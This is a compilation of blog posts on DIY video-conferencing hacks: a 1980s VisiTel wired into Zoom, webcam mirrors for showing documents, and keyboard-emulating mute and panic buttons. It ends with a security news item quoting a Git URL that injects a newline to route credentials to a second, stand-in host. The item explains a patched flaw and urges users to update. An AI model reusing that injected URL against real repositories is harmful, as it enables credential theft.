Teleconferencing Like It’s 1988: Connecting Vintage Hardware To Zoom

Hang up your car phone and toss that fax machine in the garbage. Even back in the late 80s it was possible to do away with these primitive technologies in favor of video conferencing, even though this technology didn’t catch on en masse until recently. In fact, Mitsubishi released a piece of video conferencing equipment called the VisiTel that can be put to use today, provided you can do a bit of work to get it to play along nicely with modern technology.

[Alex] was lucky enough to have one of these on hand, as soon as it was powered up he was able to get to work deciphering the messaging protocol of the device. To do this he showed the camera certain pictures with known properties and measured the output waveforms coming from the device, which were AM modulated over an RJ9 connection which he had changed to a 3.5 mm headphone jack.

It communicates in a series of pictures instead of sending an actual video signal, so [Alex] had a lot of work to do to properly encode and decode the stream. He goes into incredible detail on his project page about this process and is worth a read for anyone interested in signal processing. Ultimately, [Alex] was able to patch this classic piece of technology into a Zoom call and the picture quality is excellent when viewed through the lens of $399 80s technology.

We have been seeing a lot of other hacks around video conferencing in the past six months as well, such as physical mute buttons and a mirror that improves eye contact through the webcam.

Mirror, Mirror, On Your Cam, Show Us What You’ve Drawn By Hand

Working and learning from home may be the new norm, and if IKEA shelves are any indication, folks are tricking out their home office with furniture, gadgets, and squishy chairs. While teleconferencing has proven to be an invaluable tool, paper documents aren’t going down with out a fight.

Unfortunately dedicated document cameras require significant space and monies, so they’re impractical if you only share once in a while. [John Umekubo] didn’t want students and teachers hobbled by the same costs and inconveniences, so he modeled a mirror holder that slides over a laptop’s webcam and directs the view downward.

[John]’s adventures started with a Twitter post, as seen below, but the responses were so encouraging that he published his design on Thingiverse for everyone. There’s also a version that can be laser cut out of cardboard, though we imagine a pair of scissors would work in a pinch. He admits there’s already a consumer model, but wasn’t planning to sell them anyway. Like us, he wants to get people to share their work.

We recently covered a simpler version of the same idea in use at Northwestern University, and we’ve seen a similar hack that gives a split-screen effect to sketch and maintain eye contact. If you want to share the view in your room, we have a Raspberry Pi streaming option that’s worth checking out.

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Distance Learning Land

[familylovermommy] has been homeschooling her kids even before the pandemic, so she’s pretty well-versed on being a learning coach and a teacher. One of the activities she designed for her boys has them creating 3D models using Tinkercad. In the spirit of openness and cultivating freethinking, she did not give them very many constraints. But rather, gave them the liberty to creatively design whatever scene they imagined.

In the Instructable, she shares her sons’ designs along with instructions to recreate the models. The designs as you’ll see are pretty extensive, so she embedded the Tinkercad designs directly into it. You can even see a number of video showcases as well.

This is a really cool showcase of some pretty stellar workmanship. Also, maybe a bit of inspiration for some of our readers who are creating work from home activities of their own.

While you’re at it, check out some of these other work-from-home hacks.

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$5 Lets Your Documents Go Virtual

Video conferencing is nothing new, but the recent world events have made it much more mainstream than it has been in the past. Luckily, web camera technology is nothing new and most software can also show your screen. But what about your paper documents? Turns out that [John Nelson] can show you how to spend $5 for an old laptop camera module and put your documents center stage on your next Zoom, Skype or other video conferences.

This is especially good for things that would be hard to draw in real time during a conference like a quick sketch, a schematic, or as you can see in the post and the video demo below, chemical molecule diagrams.

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Panic Button Is An Audio-Visual Parachute Out Of Zoom Calls

Everyone has been learning how to stream this year whether they want to or not. This has given rise to the embarrassment paradox, which states that the more urgently you need to kill your camera and microphone feeds in a videoconference call, the more difficult and time-consuming it will be. Zoom in particular will toggle the mic and camera with keyboard shortcuts, but when your toddler waddles into the room swinging a used diaper around in the air, keyboard shortcuts will seem woefully under-powered.

What you need is a single sturdy button that sends both of these toggle commands as quickly as possible. [Simon Prickett]’s panic switch does exactly that. It’s a delightfully tactile arcade button connected to a Trinket M0, which can emulate a keyboard quite easily as an Arduino or CircuitPython device.

This little keyboard doesn’t send these macros directly, because that would be way too risky. What if you were reading Hackaday instead of staring into the tiled faces of your coworkers? Then it wouldn’t work, because Zoom is out of focus.

Instead, it sends an obscure four-key macro to the computer that triggers an AppleScript. [Simon]’s AppleScript checks to see if Zoom is running. If not, it has the system announce the fact. If it is running, then the script sends cmd+shift+a and cmd+shift+v to Zoom directly to toggle the audio and video. Check out the demo after the break.

As you might expect, we’ve seen a couple of videoconference survival hacks over the past few months. Need to show something or work with your hands, but only have one camera? All you need is a mirror, a clothespin, and a length of wire for a simple split-screen setup.

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Quickly Mute And Unmute Yourself Using The Physical Mute Button

With many conferences moving to fully virtual this year, video conferencing will continue to be a mainstay in our lives for the foreseeable future. [Elliot] wanted to spice up his video conferencing experience just a bit and make his experience a bit more ergonomic. We’ve all had the problem of looking for our Zoom window buried behind any number of other applications, desperately searching for the mute button. Furthermore, when we get called on, we’re desperately trying to give the impression that we’ve been paying attention the entire time, even when we haven’t been.

To solve all these problems, he built a physical mute button to easily toggle the mute option on and off during Zoom calls. The device takes advantage of the native USB feature of his Digispark board, and a few built-in keyboard shortcuts in Zoom. With native USB, the Digispark board can act like a keyboard, making it really simple to emulate keyboard presses using the microcontroller. Throw in an arcade-style button and do a bit of handcrafting and you have yourself your own physical mute button.

We were really impressed by the simplicity of the design as well as the elegance of the mechanical assembly. [Elliot] even made a revamped version with a second button allowing him to control his video as well. Cool button(s) [Elliot]!

What’s your favorite work-from-home hack? Check out some of our favorites here on Hackaday.

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This Week In Security: Git, Patch Tuesday, Anti-Cheat, And Vulnerable Documentation

Git released an update on Tuesday, fixing an issue that could result in leaking credentials. The vulnerability was in how Git handles an HTTP URL containing a newline. Looking at the commits in 2.26.1, we can find an example of an attack:
url = "https://one.example.com?%0ahost=two.example.com/foo.git"

So doing a git pull against this repository will connect your git instance to an attacker’s server, but using the credentials from an arbitrary server. It seems like this could potentially be used to steal Github credentials, for instance. So go make sure you have an updated Git client.
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